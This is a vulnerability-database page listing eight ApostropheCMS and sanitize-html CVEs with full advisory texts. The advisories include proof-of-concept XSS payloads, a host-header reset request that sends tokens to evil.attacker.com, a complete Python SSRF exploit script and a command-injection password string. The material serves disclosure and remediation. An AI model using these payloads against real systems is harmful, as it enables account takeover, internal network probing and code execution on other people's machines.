VYPR

by Apostrophecms

Source repositories

CVEs (8)

CVESevRiskCVSSEPSSKEVPublishedDescription
CVE-2026-44990cri0.59May 14, 2026### Summary Under the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: 'discard'` path and can lead to stored XSS in applications that render sanitized output back to users. ### Details In `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as "drop the entire contents" tags. Later, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping: ```js } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) { result += text; } ``` Because `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output. This creates a default sanitizer bypass. For example, a disallowed `<xmp>` wrapper can be used to smuggle `<script>` or event-handler payloads through sanitization. The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`. ### PoC Tested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`. 1. Install the package: ```bash npm install sanitize-html ``` 2. Run the following script: ```js const sanitizeHtml = require('sanitize-html'); console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>')); console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>')); console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>')); ``` 3. Observed output: ```html <script>alert(1)</script> <img src=x onerror=alert(1)> <svg><script>alert(1)</script></svg> ``` 4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example: ```js const dirty = '<xmp><script>alert(1)</script></xmp>'; const clean = sanitizeHtml(dirty); ``` If `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes. ### Impact This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.
CVE-2026-45011hig0.45May 14, 2026### Summary A stored cross-site scripting vulnerability was identified in the image widget functionality. A user with the Editor role can configure an image widget link to use a javascript: URL payload. Because editors have permission to publish pages, the malicious widget can be published to the live site. When another user, including an administrator or public visitor, clicks the affected image/link, arbitrary JavaScript executes in the victim’s browser. ### Affected Version ApostropheCMS (tested on version: v4.29.0) ### Steps to Reproduce **Precondition** Ensure at least one image exists in the media library. If the media library is empty: - Log in as an Editor. - Open the media library. - Upload any JPG or PNG image. - Set any title, for example Probe image. - Publish the image and close the media manager. **Exploitation Steps** - Log in as an Editor. - Open the home page. - Enable edit mode for the page. - In the main content area, click Add content. - Select the Image widget. - Choose any existing image from the image picker and save/select it. - Open the image widget settings. - Locate the Link to field and change it to URL. - In the URL field, enter: ```javascript:alert(document.domain)``` <img width="1249" height="979" alt="image" src="https://github.com/user-attachments/assets/c7f77177-1711-461d-b9bd-14292a6996d5" /> - Save the image and click on Update. - As another user, such as an administrator or guest, open the published page and click the linked image. - Observe that the JavaScript payload executes. <img width="1267" height="1034" alt="image" src="https://github.com/user-attachments/assets/a80484b4-873a-47c1-8682-84626523008a" /> **Note**: This attack can also be performed by a Contributor. However, because contributors cannot publish content directly, the malicious image widget remains in the draft version and is only visible to users with access to review drafts, such as administrators or editors. If an administrator reviews and approves/publishes the affected draft, the stored XSS becomes part of the live page and can then affect all users who interact with the malicious image link. ### Impact Successful exploitation allows an Editor to store a JavaScript payload in published page content. When a victim clicks the affected image link, the payload executes in the victim’s browser. This may allow an attacker to: - perform actions in the context of an authenticated administrator - access sensitive information available in the CMS interface - modify page content or configuration - conduct phishing attacks within the trusted site - compromise visitors who interact with the published image link ### Recommendation Validate and sanitize all user-supplied URLs used in widget link fields. Specifically: - Reject dangerous URL schemes such as javascript:, data:, and other executable schemes. - Allow only safe protocols such as http:, https:, mailto:, and relative URLs where appropriate. - Normalize and validate URLs server-side before storage. - Encode rendered URLs safely in templates. - Consider applying a strict Content Security Policy to reduce the impact of XSS.
CVE-2026-45013hig0.45May 14, 2026## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "victim@example.com"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
CVE-2026-45012hig0.45May 14, 2026### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/area/index.js` - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js` Relevant behavior: 1. The backend accepts a widget payload containing `import.html`. 2. It parses `<img src=...>` values from that HTML. 3. For each image, it resolves the URL with: - `new URL(src, input.import.baseUrl || self.apos.baseUrl)` 4. It then performs a server-side `fetch(url)`. 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic. This is reachable during widget validation through: - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft` ### PoC 1. Start a local HTTP server with a valid PNG: ```bash mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png <<'EOF' iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII= EOF cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1 ``` 2. Run the following Python PoC: ```python #!/usr/bin/env python3 import argparse import json import sys from urllib.parse import urljoin import requests def login(base_url: str, username: str, password: str) -> str: url = urljoin(base_url, "/api/v1/@apostrophecms/login/login") r = requests.post( url, json={ "username": username, "password": password }, timeout=20 ) r.raise_for_status() data = r.json() token = data.get("token") if not token: raise RuntimeError(f"Login succeeded but no token was returned: {data}") return token def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict: url = urljoin( base_url, "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft" ) payload = { "areaFieldId": area_field_id, "type": "@apostrophecms/rich-text", "widget": { "type": "@apostrophecms/rich-text", "content": "<p>seed</p>", "import": { "html": f'<img src="{target_url}">', "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url } } } r = requests.post( url, headers={ "Authorization": f"Bearer {token}", "Accept": "application/json" }, json=payload, timeout=30 ) r.raise_for_status() return r.json() def main() -> int: parser = argparse.ArgumentParser( description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import." ) parser.add_argument("--base-url", default="http://127.0.0.1:3000") parser.add_argument("--username", default="admin") parser.add_argument("--password", default="admin123") parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add") parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png") parser.add_argument( "--fetch-image", action="store_true", help="Fetch the generated Apostrophe image URL after exploitation." ) args = parser.parse_args() try: token = login(args.base_url, args.username, args.password) result = trigger(args.base_url, token, args.area_field_id, args.target_url) except Exception as exc: print(f"[!] Exploit failed: {exc}", file=sys.stderr) return 1 print("[+] Login OK") print(f"[+] Bearer token: {token}") print("[+] Exploit response:") print(json.dumps(result, indent=2)) widget = result.get("widget") or {} image_ids = widget.get("imageIds") or [] if not image_ids: print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.") return 0 image_id = image_ids[0] image_path = f"/api/v1/@apostrophecms/image/{image_id}/src" image_url = urljoin(args.base_url, image_path) print(f"[+] Generated image id: {image_id}") print(f"[+] Generated image URL: {image_url}") if args.fetch_image: r = requests.get(image_url, allow_redirects=True, timeout=30) print(f"[+] Final fetch status: {r.status_code}") print(f"[+] Final URL: {r.url}") print(f"[+] Retrieved bytes: {len(r.content)}") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` 3. Example usage: ```bash python3 poc.py \ --base-url http://127.0.0.1:3000 \ --username admin \ --password admin123 \ --area-field-id cd4f89f5b834d0036f3867f1507a8add \ --target-url http://127.0.0.1:7777/secret.png \ --fetch-image ``` 4. Expected result: - The local listener receives: GET /secret.png HTTP/1.1 - The API response includes a rewritten Apostrophe image URL and imageIds. - The generated image URL can then be fetched through the application. Additional note: - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration. ### Impact An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
CVE-2026-428530.00May 14, 2026Summary The @apostrophecms/cli package contains a command injection vulnerability in the apos create command. User-supplied input from the password prompt is embedded directly into a shell command without proper sanitization or escaping. This allows execution of arbitrary commands on the host system. ━━━━━━━━━━━━━━━━━━━━━━ Details Vulnerable file: lib/commands/create.js Location: Line 186 The CLI collects a password using an interactive prompt and passes it directly into a shell command. Vulnerable code: const response = await prompts({ type: 'password', name: 'pw', message: '🔏 Please enter a password:' }); exec(echo "${response.pw}" | ${createUserCommand}); The value of response.pw is not validated, sanitized, or escaped before being used in exec(). This allows shell metacharacters such as ;, &&, and $() to break out of the intended command and execute arbitrary commands. ━━━━━━━━━━━━━━━━━━━━━━ Steps to Reproduce 1) Install the CLI npm install -g @apostrophecms/cli 2) Create a new project mkdir testproject && cd testproject apos create mysite 3)When prompted for the admin password, enter "; id > /tmp/apos_rce_proof.txt; echo " 4)Verify command execution cat /tmp/apos_rce_proof.txt ━━━━━━━━━━━━━━━━━━━━━━ Proof of Concept Output uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),27(sudo),984(docker) This confirms arbitrary command execution with the privileges of the user running the CLI. ━━━━━━━━━━━━━━━━━━━━━━ Impact Arbitrary command execution on the developer’s machine Execution occurs with the privileges of the user running the CLI This can lead to: File modification or deletion Credential exposure System compromise depending on user privileges An attacker can exploit this by influencing the password input (for example, through social engineering, malicious documentation, or compromised automation scripts). The proof-of-concept shows execution under a user belonging to privileged groups such as sudo and docker, which may allow further privilege escalation depending on system configuration. ━━━━━━━━━━━━━━━━━━━━━━ Suggested Fix Avoid using exec() with user-controlled input. Use execFile() instead: const { execFileSync } = require('child_process'); execFileSync('node', [appJsPath, userTask, 'admin', 'admin'], { input: response.pw + '\n' }); ━━━━━━━━━━━━━━━━━━━━━━ Affected Version All current versions of @apostrophecms/cli ━━━━━━━━━━━━━━━━━━━━━━ Tested On Ubuntu 22.04 Node.js v18.19.1 ━━━━━━━━━━━━━━━━━━━━━━ CWE CWE-78 — Improper Neutralization of Special Elements used in an OS Command ━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-327300.000.00Mar 18, 2026ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.
CVE-2021-259790.000.00Nov 8, 2021Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or changing the password, creating a situation in which a device compromised by a third party could not be locked out by those means. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.
CVE-2021-259780.000.00Nov 7, 2021Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.